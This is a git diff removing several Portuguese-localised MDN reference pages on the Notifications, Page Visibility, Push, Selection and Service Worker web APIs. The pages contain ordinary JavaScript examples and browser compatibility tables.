Note: To find out more about using notifications in your own app, read Using the Notifications API.

-
- -

Notifications interfaces

- -
-
{{domxref("Notification")}}
-
Defines a notification object.
-
- -

Service worker additions

- -
-
{{domxref("ServiceWorkerRegistration")}}
-
Includes the {{domxref("ServiceWorkerRegistration.showNotification()")}} and {{domxref("ServiceWorkerRegistration.getNotifications()")}} method for controlling the display of notifications.
-
{{domxref("ServiceWorkerGlobalScope")}}
-
Includes the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} handler for firing custom functions when a notification is clicked.
-
{{domxref("NotificationEvent")}}
-
A specific type of event object, based on {{domxref("ExtendableEvent")}}, which represents a notification that has fired.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
- 22
{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}[2]
- {{CompatGeckoDesktop("22.0")}}
{{CompatNo}}256[3]
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions -

{{CompatChrome(42.0)}}

-
{{CompatGeckoDesktop("42.0")}}[4]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} -

{{CompatVersionUnknown}}

-
{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}[2]
- {{CompatGeckoMobile(22.0)}}
1.0.1{{property_prefix("moz")}}[2]
- 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} -

{{CompatVersionUnknown}}

-
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Service worker additions{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(42.0)}}[4]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
-
- -

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.

- -

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification() method. In addition, the Notification was displayed when calling the show() method and supported only the click and close events (Nick Desaulniers wrote a Notification shim to cover both newer and older implementations.)

- -

[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).

- -

[4] Firefox 42 has shipped with web notifications from Service Workers disabled.

- -

Firefox OS permissions

- -

When using notifications  in a Firefox OS app, be sure to add the desktop-notification permission in your manifest file. Notifications can be used at any permission level, hosted or above:

- -
"permissions": {
-  "desktop-notification": {}
-}
- -

See also

- - diff --git a/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html b/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html deleted file mode 100644 index 947521344c..0000000000 --- a/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html +++ /dev/null @@ -1,290 +0,0 @@ ---- -title: Utilizar a API de Notificações -slug: Web/API/Notifications_API/Using_the_Notifications_API -translation_of: Web/API/Notifications_API/Using_the_Notifications_API -original_slug: Web/API/Notifications_API/Utilizar_API_Notificações ---- -

{{APIRef("Web Notifications")}}

- -

The Notifications API lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the background. This article looks at the basics of using this API in your own apps.

- -

{{AvailableInWorkers}}

- -

Typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device brodcasts notifications.

- -

- -

The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems.

- -

Exemplos

- -
-
-

One of the most obvious use cases for web notifications is a web-based mail or IRC application that needs to notify the user when a new message is received, even if the user is doing something else with another application. Many real examples of this now exist, such as Slack.

- -

We've written a couple of real world demos to give more of an idea of how web notifications can be used:

- - -
- -
-

.

-
-
- -

Solicitar permissão

- -

Before an app can send a notification, the user must grant the application the right to do so. This is a common requirement when an API tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.

- -

Verificação do estado da permissão atual

- -

You can check to see if you already have permission by checking the value of the {{domxref("Notification.permission")}} read only property. It can have one of three possible values:

- -
-
default
-
The user hasn't been asked for permission yet, so notifications won't be displayed.
-
granted
-
The user has granted permission to display notifications, after having been asked previously.
-
denied
-
The user has explicitly declined permission to show notifications.
-
- -

Obter permissão

- -

If permission to display notifications hasn't been granted yet, the application needs to use the {{domxref("Notification.requestPermission()")}} method to request this form the user. In its simplest form, as used in the Emogotchi demo, we just include the following:

- -
Notification.requestPermission();
- -

The method also optionally accepts a callback function that is called once the user has responded to the request to display permissions (as seen in the second else ... if block below.) Commonly, you'll ask for permission to display notifications when your app is first initialized, and before trying to instantiate any. If you wanted to be really thorough, you could use a construct like the following (see To-do List Notifications):

- -
function notifyMe() {
-  // Let's check if the browser supports notifications
-  if (!("Notification" in window)) {
-    alert("This browser does not support system notifications");
-  }
-
-  // Let's check whether notification permissions have already been granted
-  else if (Notification.permission === "granted") {
-    // If it's okay let's create a notification
-    var notification = new Notification("Hi there!");
-  }
-
-  // Otherwise, we need to ask the user for permission
-  else if (Notification.permission !== 'denied') {
-    Notification.requestPermission(function (permission) {
-      // If the user accepts, let's create a notification
-      if (permission === "granted") {
-        var notification = new Notification("Hi there!");
-      }
-    });
-  }
-
-  // Finally, if the user has denied notifications and you
-  // want to be respectful there is no need to bother them any more.
-}
- -
-

Note: Before version 37, Chrome doesn't let you call {{domxref("Notification.requestPermission()")}} in the load event handler (see issue 274284).

-
- -

Permissões de manifesto do Firefox OS

- -

Please note that while the Notifications API is not {{Glossary("privileged")}} or {{Glossary("certified")}}, you should still include an entry in your manifest.webapp file when including it in an Firefox OS app:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-},
-"messages": [{"notification": "path/to/your/index.html"}]
-
-
- -
-

Note: When an application is installed, you shouldn't need to {{anch("Getting permission","explicitly request permission")}}, but you will still need the permissions and messages entries above for the notifications to be fired.

-
- -

Criação de uma notificação

- -

Creating a notification is easy; just use the {{domxref("Notification")}} constructor. This constructor expects a title to display within the notification and some options to enhance the notification such as an {{domxref("Notification.icon","icon")}} or a text {{domxref("Notification.body","body")}}.

- -

For example, in the Emogotchi example we have two functions that can be called when a notification needs to be fired; which one is used depends on whether we want a set notification, or a notification that includes random body content:

- -
function spawnNotification(theBody,theIcon,theTitle) {
-  var options = {
-      body: theBody,
-      icon: theIcon
-  }
-  var n = new Notification(theTitle,options);
-  setTimeout(n.close.bind(n), 5000);
-}
-
-function randomNotification() {
-  var randomQuote = quoteChooser();
-  var options = {
-      body: randomQuote,
-      icon: 'img/sad_head.png',
-  }
-
-  var n = new Notification('Emogotchi says',options);
-  setTimeout(n.close.bind(n), 5000);
-}
- -

Fechar notificações

- -

Firefox and Safari close notifications automatically after a few moments (around four seconds). This may also happen at the operating system level. Some browsers don't however, such as Chrome. To make sure that the notifications close in all browsers, at the end of the above functions, we call the {{domxref("Notification.close")}} function inside a {{domxref("WindowTimers.setTimeout","setTimeout()")}} function to close the notification after 4 seconds. Also note the use of bind() to make sure the close() call is associated with the notification.

- -
setTimeout(n.close.bind(n), 5000);
-
- -
-

Note: When you receive a "close" event, there is no guarantee that it's the user who closed the notification. This is in line with the specification, which states: "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run."

-
- -

Eventos de notificação

- -

The notifications API spec lists two events that are triggered on the {{domxref("Notification")}} instance:

- -
-
{{event("click")}}
-
Triggered when the user clicks on the notification.
-
{{event("error")}}
-
Triggered if something goes wrong with the notification; this is usually because the notification couldn't be displayed for some reason.
-
- -

These events can be tracked using the {{domxref("Notification.onclick","onclick")}} and {{domxref("Notification.onerror","onerror")}} handlers. Because {{domxref("Notification")}} also inherits from {{domxref("EventTarget")}}, it's possible to use the {{domxref("EventTarget.addEventListener","addEventListener()")}} method on it.

- -

There are also two other events that used to be listed in the spec, but were recently removed. These may still work in browsers for a while, but they should be treated as obsolete and not used:

- -
-
{{event("close")}}
-
Triggered once the notification is closed.
-
{{event("show")}}
-
Triggered when the notification is displayed to the user.
-
- -

Substituir notificações existentes

- -

It is usually undesirable for a user to receive a lot of notifications in a short space of time — for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? To avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.

- -

To do this, it's possible to add a tag to any new notification. If a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. If the notification with the same tag has already been displayed, the previous notification is closed and the new one is displayed.

- -

Exemplo de etiqueta

- -

Assume the following basic HTML:

- -
<button>Notify me!</button>
- -

It's possible to handle multiple notifications this way:

- -
window.addEventListener('load', function () {
-  // At first, let's check if we have permission for notification
-  // If not, let's ask for it
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // If the user agreed to get notified
-    // Let's try to send ten notifications
-    if (window.Notification && Notification.permission === "granted") {
-      var i = 0;
-      // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
-      var interval = window.setInterval(function () {
-        // Thanks to the tag, we should only see the "Hi! 9" notification
-        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-        if (i++ == 9) {
-          window.clearInterval(interval);
-        }
-      }, 200);
-    }
-
-    // If the user hasn't told if he wants to be notified or not
-    // Note: because of Chrome, we are not sure the permission property
-    // is set, therefore it's unsafe to check for the "default" value.
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // If the user said okay
-        if (status === "granted") {
-          var i = 0;
-          // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
-          var interval = window.setInterval(function () {
-            // Thanks to the tag, we should only see the "Hi! 9" notification
-            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-            if (i++ == 9) {
-              window.clearInterval(interval);
-            }
-          }, 200);
-        }
-
-        // Otherwise, we can fallback to a regular modal alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // If the user refuses to get notified
-    else {
-      // We can fallback to a regular modal alert
-      alert("Hi!");
-    }
-  });
-});
- -

See the live result below:

- -

{{ EmbedLiveSample('Tag_example', '100%', 30) }}

- -

Receber notificação de cliques nas notificações da aplicação

- -

When a user clicks on a notification generated by an app, you will be notified of this event in two different ways, depending on the circumstance:

- -
    -
  1. A click event if your app has not closed or been put in the background between the time you create the notification and the time the user clicks on it.
  2. -
  3. A system message otherwise.
  4. -
- -

See this code snippet for an example of how to deal with this.

- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
- -

Compatibilidade do navegador

- -

{{page("/en-US/Web/API/Notification","Browser compatibility")}}

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/page_visibility_api/index.html b/files/pt-pt/web/api/page_visibility_api/index.html deleted file mode 100644 index de3ee0b3ab..0000000000 --- a/files/pt-pt/web/api/page_visibility_api/index.html +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: Page Visibility API -slug: Web/API/Page_Visibility_API -tags: - - API - - DOM - - Intermediário - - Tutoriais -translation_of: Web/API/Page_Visibility_API ---- -
{{DefaultAPISidebar("Page Visibility API")}}
- -

A Page Visibility API permite-lhe saber quando uma página da Web está visível ou em foco. Com a navegação por separadores, existe uma chance razoável de que qualquer página da Web esteja em segundo plano e, portanto, não seja visível para o utilizador. Quando o utilizador minimiza a página da Web ou move-se para outro separador, a API envia um evento {{event('visibilitychange')}} sobre a visibilidade da página. Pode detetar o evento e executar algumas ações ou comportar-se de forma diferente. Por exemplo, se a sua aplicação da Web estiver a reproduzir um vídeo, esta pausará o momento em que o utilizador olha para outro navegador, e reproduz novamente quando o utilizador volta ao separador. O utilizador não perde o seu lugar no vídeo e pode continuar a assistir.

- -

Estados de visibilidade de uma {{HTMLElement("iframe")}} são iguais ao documento original. Ocultar a iframe com propriedades CSS não desencadeia eventos de visibilidade nem altera o estado do documento de conteúdo.

- -

Benefícios

- -

The API is particularly useful for saving resources by giving developers the opportunity to not perform unnecessary tasks when the webpage is not visible.

- -
    -
- -

Casos de utilização

- -

Alguns exemplos:

- -
    -
  • A site has an image carousel that shouldn't advance to the next slide unless the user is viewing the page.
  • -
  • An application showing a dashboard of information doesn't want to poll the server for updates when the page isn't visible.
  • -
  • A page wants to detect when it is being prerendered so it can keep accurate count of page views.
  • -
  • A site wants to switch off sounds when a device is in standby mode (user pushes power button to turn screen off)
  • -
- -

Developers have historically used imperfect proxies to detect this. For example, registering an onblur/onfocus handler on the window helps you know when your page is not the active page, but it does not tell you that your page is hidden to the user. The Page Visibility API addresses this. (When compared with registering onblur/onfocus handlers on the window, a key difference is that a page does not become hidden when another window is made active and the browser window loses focus. A page only becomes hidden when the user switches to a different tab or minimizes the browser window.)

- -

Políticas em vigor para auxiliar o desempenho da página de fundo

- -

Along with the Page Visibility API, there are a number of policies in place to mitigate negative performance effects associated with background tabs:

- -
    -
  • {{domxref("Window.requestAnimationFrame()")}} calls are paused in most browsers when running in background tabs or hidden {{ HTMLElement("iframe") }}s in order to improve performance and battery life.
  • -
  • Timers such as {{domxref("WindowOrWorkerGlobalScope.setTimeout")}} are throttled in background/inactive tabs to help improve performance. See Reasons for delays longer than specified for more details.
  • -
  • Budget-based background timeout throttling is now available in modern browsers (Firefox 58+, Chrome 57+), placing an additional limit on background timer CPU usage. This operates in a similar way across modern browsers, with the details being as follows: -
      -
    • In Firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively. Chrome is very similar except that the budget is specified in seconds.
    • -
    • Windows are subjected to throttling after 30 seconds, with the same throttling delay rules as specified for window timers (again, see Reasons for delays longer than specified.) In Chrome, this value is 10 seconds.
    • -
    • Timer tasks are only permitted when the budget is non-negative.
    • -
    • When a timer has executed, the execution time is deducted from the budget of the window where the timeout gets called from.
    • -
    • The budget regenerates at a rate of 10 ms per second, in both Firefox and Chrome.
    • -
    -
  • -
  • Some processes are exempt from this throttling behaviour: -
      -
    • Applications playing audio are considered foreground and aren’t throttled.
    • -
    • Applications with real-time connections (WebSockets and WebRTC), to avoid closing these connections by timeout.
    • -
    • IndexedDB processes.
    • -
    -
  • -
- -

Exemplo

- -

Ver exemplo live (vídeo com som).

- -

O exemplo, que pausa o vídeo quando muda para outro separador e reproduz novamente quando volta ao seu separador, foi criado com o seguinte código:

- -
// Set the name of the hidden property and the change event for visibility
-var hidden, visibilityChange;
-if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
-  hidden = "hidden";
-  visibilityChange = "visibilitychange";
-} else if (typeof document.msHidden !== "undefined") {
-  hidden = "msHidden";
-  visibilityChange = "msvisibilitychange";
-} else if (typeof document.webkitHidden !== "undefined") {
-  hidden = "webkitHidden";
-  visibilityChange = "webkitvisibilitychange";
-}
-
-var videoElement = document.getElementById("videoElement");
-
-// If the page is hidden, pause the video;
-// if the page is shown, play the video
-function handleVisibilityChange() {
-  if (document[hidden]) {
-    videoElement.pause();
-  } else {
-    videoElement.play();
-  }
-}
-
-// Warn if the browser doesn't support addEventListener or the Page Visibility API
-if (typeof document.addEventListener === "undefined" || typeof document.hidden === "undefined") {
-  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
-} else {
-  // Handle page visibility change
-  document.addEventListener(visibilityChange, handleVisibilityChange, false);
-
-  // When the video pauses, set the title.
-  // This shows the paused
-  videoElement.addEventListener("pause", function(){
-    document.title = 'Paused';
-  }, false);
-
-  // When the video plays, set the title.
-  videoElement.addEventListener("play", function(){
-    document.title = 'Playing';
-  }, false);
-
-}
-
- -

Resumo das propriedades

- -
-
-

{{domxref("document.hidden")}} Read only

-
-
-

Returns true if the page is in a state considered to be hidden to the user, and false otherwise.

-
-
-

{{domxref("document.visibilityState")}} Read only

-
-
-

Is a string denoting the visibility state of the document. Possible values:

- -
    -
  • visible : the page content may be at least partially visible. In practice this means that the page is the foreground tab of a non-minimized window.
  • -
  • hidden : the page content is not visible to the user. In practice this means that the document is either a background tab or part of a minimized window, or the OS screen lock is active.
  • -
  • prerender : the page content is being prerendered and is not visible to the user (considered hidden for purposes of document.hidden). The document may start in this state, but will never transition to it from another value. Note: browser support is optional.
  • -
  • unloaded : the page is being unloaded from memory. Note: browser support is optional.
  • -
- -
//startSimulation and pauseSimulation defined elsewhere
-function handleVisibilityChange() {
-  if (document.hidden) {
-    pauseSimulation();
-  } else  {
-    startSimulation();
-  }
-}
-
-document.addEventListener("visibilitychange", handleVisibilityChange, false);
-
-
-
-

{{domxref("document.onvisibilitychange")}}

-
-
-

Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.

-
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Page Visibility API')}}{{Spec2('Page Visibility API')}}Initial definition.
- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico13 {{property_prefix("webkit")}}
- 33
{{CompatGeckoDesktop(18)}}[2]1012.10[1]7
onvisibilitychange{{CompatVersionUnknown}}{{CompatGeckoDesktop(56)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Budget-based background timeout throttling57{{CompatGeckoDesktop(58)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico5.0[3]{{CompatGeckoMobile(18)}}[2]1012.10[1]7[4]
onvisibilitychange{{CompatVersionUnknown}}{{CompatGeckoMobile(56)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Budget-based background timeout throttling{{CompatNo}}{{CompatGeckoMobile(58)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1] Doesn't fire the {{event("visibilitychange")}} event when the browser window is minimized, nor set hidden to true.

- -

[2] From Firefox 10 to Firefox 51 included, this property could be used prefixed with moz.

- -

[3] Android 4.4 supports this feature if prefixed with webkit.

- -

[4] From iOS 11.0.2 onwards, the values are not correct in standalone mode (when you press "Add to Homescreen") and when the screen is locked (you pressed the power button). The value for hidden is false and visibilityState is visible.

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/push_api/index.html b/files/pt-pt/web/api/push_api/index.html deleted file mode 100644 index 9e94962adc..0000000000 --- a/files/pt-pt/web/api/push_api/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Push API -slug: Web/API/Push_API -tags: - - API - - Experimental - - Landing - - Notificações - - Push - - Referencia - - Service Workers -translation_of: Web/API/Push_API ---- -
{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}
- -

Push API permite que as aplicações da Web recebam as mensagens submetidas para as mesmas a partir de um servidor, se a aplicação da Web está em primeiro plano, ou mesmo atualmente carregada, num agente de utilizador. Isto permite que os programadores entreguem notificações e atualizações assíncronas aos utilizadores que optem, resultando num melhor compromisso com os novos conteúdos atualizados.

- -

Conceitos e utilização de Push

- -

For an app to receive push messages, it has to have an active service worker. When the service worker is active, it can subscribe to push notifications, using {{domxref("PushManager.subscribe()")}}.

- -

The resulting {{domxref("PushSubscription")}} includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data.

- -

The service worker will be started as necessary to handle incoming push messages, which are delivered to the {{domxref("ServiceWorkerGlobalScope.onpush")}} event handler. This allows apps to react to push messages being received, for example, by displaying a notification (using {{domxref("ServiceWorkerRegistration.showNotification()")}}.)

- -

Each subscription is unique to a service worker.  The endpoint for the subscription is a unique capability URL: knowledge of the endpoint is all that is necessary to send a message to your application. The endpoint URL therefore needs to be kept secret, or other applications might be able to send push messages to your application.

- -

Activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. Different browsers have different schemes for handling this, there is currently no standard mechanism. Firefox allows a limited number (quota) of push messages to be sent to an application, although Push messages that generate notifications are exempt from this limit. The limit is refreshed each time the site is visited. In comparison, Chrome applies no limit, but requires that every push message causes a notification to be displayed.

- -
-

Nota: As of Gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds. This handles cases where a burst of notifications is received, and not all generate a visible notification.

-
- -
-

Nota: Chrome versions earlier than 52 require you to set up a project on Google Cloud Messaging to send push messages, and use the associated project number and API key when sending push notifications. It also requires an app manifest, with some special parameters to use this service.

-
- -

Interfaces

- -
-
{{domxref("PushEvent")}}
-
Represents a push action, sent to the global scope of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.
-
{{domxref("PushManager")}}
-
Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.
-
{{domxref("PushMessageData")}}
-
Provides access to push data sent by a server, and includes methods to manipulate the received data.
-
{{domxref("PushSubscription")}}
-
Provides a subcription's URL endpoint, and allows unsubscription from a push service.
-
- -

Service worker additions

- -

The following additions to the Service Worker API have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.

- -
-
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
-
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.
-
{{domxref("ServiceWorkerGlobalScope.onpush")}}
-
An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.
-
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
-
An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)
-
- -

Exemplos

- -

Mozilla's ServiceWorker Cookbook contains many useful Push examples.

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Push API")}}{{Spec2("Push API")}}Definição inicial
- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico{{CompatChrome(42.0)}}{{CompatGeckoDesktop(44.0)}}[1][3]{{CompatNo}}[2]{{CompatUnknown}}{{CompatUnknown}}
{{domxref("PushEvent.data")}},
- {{domxref("PushMessageData")}}
{{CompatNo}}{{CompatGeckoDesktop(44.0)}}[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Suporte básico{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48.0)}}[4]{{CompatNo}}{{CompatUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
{{domxref("PushEvent.data")}},
- {{domxref("PushMessageData")}}
{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48.0)}}[4]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- - - -

Consulte também

- - diff --git a/files/pt-pt/web/api/selection/index.html b/files/pt-pt/web/api/selection/index.html deleted file mode 100644 index 7d4f7d8731..0000000000 --- a/files/pt-pt/web/api/selection/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Selection (Seleção) -slug: Web/API/Selection -translation_of: Web/API/Selection -original_slug: DOM/Selection ---- -

Introdução

- -

Selection é a classe do objeto retornado por window.getSelection() e outros métodos. Um objeto Selection representa os intervalos que o usuário tenha selecionado. Normalmente, ele tem apenas um intervalo, acessada assim:

- -
selection = window.getSelection();
-range = selection.getRangeAt(0);
- -

Chamar o método toString() retorna o texto contido na seleção, por exemplo:

- -
selection = window.getSelection();
-window.alert(selection);
-
- -

Glossário

- -

Outros termos utilizados nesta seção.

- -
-
Âncora (anchor)
-
A âncora de uma seleção é o ponto de início da seleção. Ao fazer uma seleção com um mouse, a âncora no documento é o local onde o botão do mouse é inicialmente pressionado. Como o usuário muda a seleção usando o mouse ou o teclado, a âncora não se move.
-
Foco (focus)
-
O foco da seleção é o ponto final da seleção. Ao fazer uma seleção com o mouse, o foco está no documento onde o botão do mouse é liberado. Como o usuário muda a seleção usando o mouse ou o teclado, o foco é a final da seleção que se move.
-
Intervalo (range)
-
Um intervalo é uma parte contígua de um documento. Um intervalo pode conter nós inteiro, bem como partes de nós, como uma parte de um nó de texto. Um usuário normalmente só seleciona um intervalo de cada vez, mas é possível que um usuário selecione vários intervalos (por exemplo, usando a tecla Control). Um intervalo pode ser recuperado a partir de uma seleção como um objeto Range. Objetos Range também podem ser criadas através do DOM e programaticamente adicionado ou removido de uma seleção.
-
- -

Propriedades

- -
-
anchorNode
-
Retorna o nó em que a seleção começa.
-
anchorOffset
-
Retorna o número de caracteres que a âncora da seleção é compensada dentro do anchorNode.
-
focusNode
-
Retorna o nó em que a seleção termina.
-
focusOffset
-
Retorna o número de caracteres que o foco da seleção é compensado dentro do focusNode.
-
isCollapsed
-
Retorna um booleano indicando se os pontos de início e fim da seleção estão na mesma posição.
-
rangeCount
-
Retorna o número de faixas na seleção.
-
- -

Métodos

- -
-
addRange
-
Um objeto de intervalo (Range) que será adicionado à seleção.
-
collapse
-
Recolhe a seleção atual para um único ponto.
-
collapseToStart
-
Move o foco da seleção para o mesmo ponto da âncora.
-
collapseToEnd
-
Move a âncora da seleção para o mesmo ponto que o foco. O foco não se move.
-
containsNode
-
Indica se um determinado nó é parte da seleção.
-
deleteFromDocument
-
Apaga o conteúdo da seleção do documento.
-
extend
-
Move o foco da seleção para um ponto especificado.
-
getRangeAt
-
Retorna um objeto de intervalo (Range) representando um dos intervalos atualmente selecionados.
-
removeAllRanges
-
Remove todos os intervalos da seleção.
-
removeRange
-
Remove uma faixa (range) da seleção.
-
selectAllChildren
-
Adiciona todos os filhos do nó especificado para a seleção.
-
toString
-
Retorna uma string a ser representada pelo objeto de seleção, ou seja, o texto atualmente selecionado.
-
diff --git a/files/pt-pt/web/api/service_worker_api/index.html b/files/pt-pt/web/api/service_worker_api/index.html deleted file mode 100644 index 343635d6c2..0000000000 --- a/files/pt-pt/web/api/service_worker_api/index.html +++ /dev/null @@ -1,335 +0,0 @@ ---- -title: API de Service Worker -slug: Web/API/Service_Worker_API -tags: - - API - - Landing - - Off-line - - Referencia - - Resumo - - Service Workers - - Sinopse - - Workers -translation_of: Web/API/Service_Worker_API ---- -
-

{{ServiceWorkerSidebar}}

- -

Os service workers atuam essencialmente como servidores de proxy que ficam entre as aplicações da Web, e o navegador e a rede (quando disponível). Eles são destinados para (entre outras coisas) ativar a criação de experiências efetivas, intercetar pedidos de rede e tomando medidas adequadas com base na disponibilidade da rede e na atualização dos ativos no servidor. Eles também irão permitir o acesso para solicitar notificações e sincronizar as APIs em segundo plano.

-
- -

Conceitos e utilização do service worker

- -

A service worker is an event-driven worker registered against an origin and a path. It takes the form of a JavaScript file that can control the web page/site it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available.)

- -

A service worker is run in a worker context: it therefore has no DOM access, and runs on a different thread to the main JavaScript that powers your app, so it is not blocking. It is designed to be fully async; as a consequence, APIs such as synchronous XHR and localStorage can't be used inside a service worker.

- -

Service workers only run over HTTPS, for security reasons. Having modified network requests wide open to man in the middle attacks would be really bad. In Firefox, Service Worker APIs are also hidden and cannot be used when the user is in private browsing mode.

- -
-

Nota: Service Workers win over previous attempts in this area such as AppCache because they don't make assumptions about what you are trying to do and then break when those assumptions are not exactly right; you have granular control over everything.

-
- -
-

Nota: Service workers make heavy use of promises, as generally they will wait for responses to come through, after which they will respond with a success or failure action. The promises architecture is ideal for this.

-
- -

Registo

- -

A service worker is first registered using the {{domxref("ServiceWorkerContainer.register()")}} method. If successful, your service worker will be downloaded to the client and attempt installation/activation (see below) for URLs accessed by the user inside the whole origin, or inside a subset specified by you.

- -

Transferir, instalar e ativar

- -

Neste ponto, o seu service worker observará o seguinte ciclo vital:

- -
    -
  1. Transferir
  2. -
  3. Instalar
  4. -
  5. Ativar
  6. -
- -

The service worker is immediately downloaded when a user first accesses a service worker–controlled site/page.

- -

After that it is downloaded every 24 hours or so. It may be downloaded more frequently, but it must be downloaded every 24h to prevent bad scripts from being annoying for too long.

- -

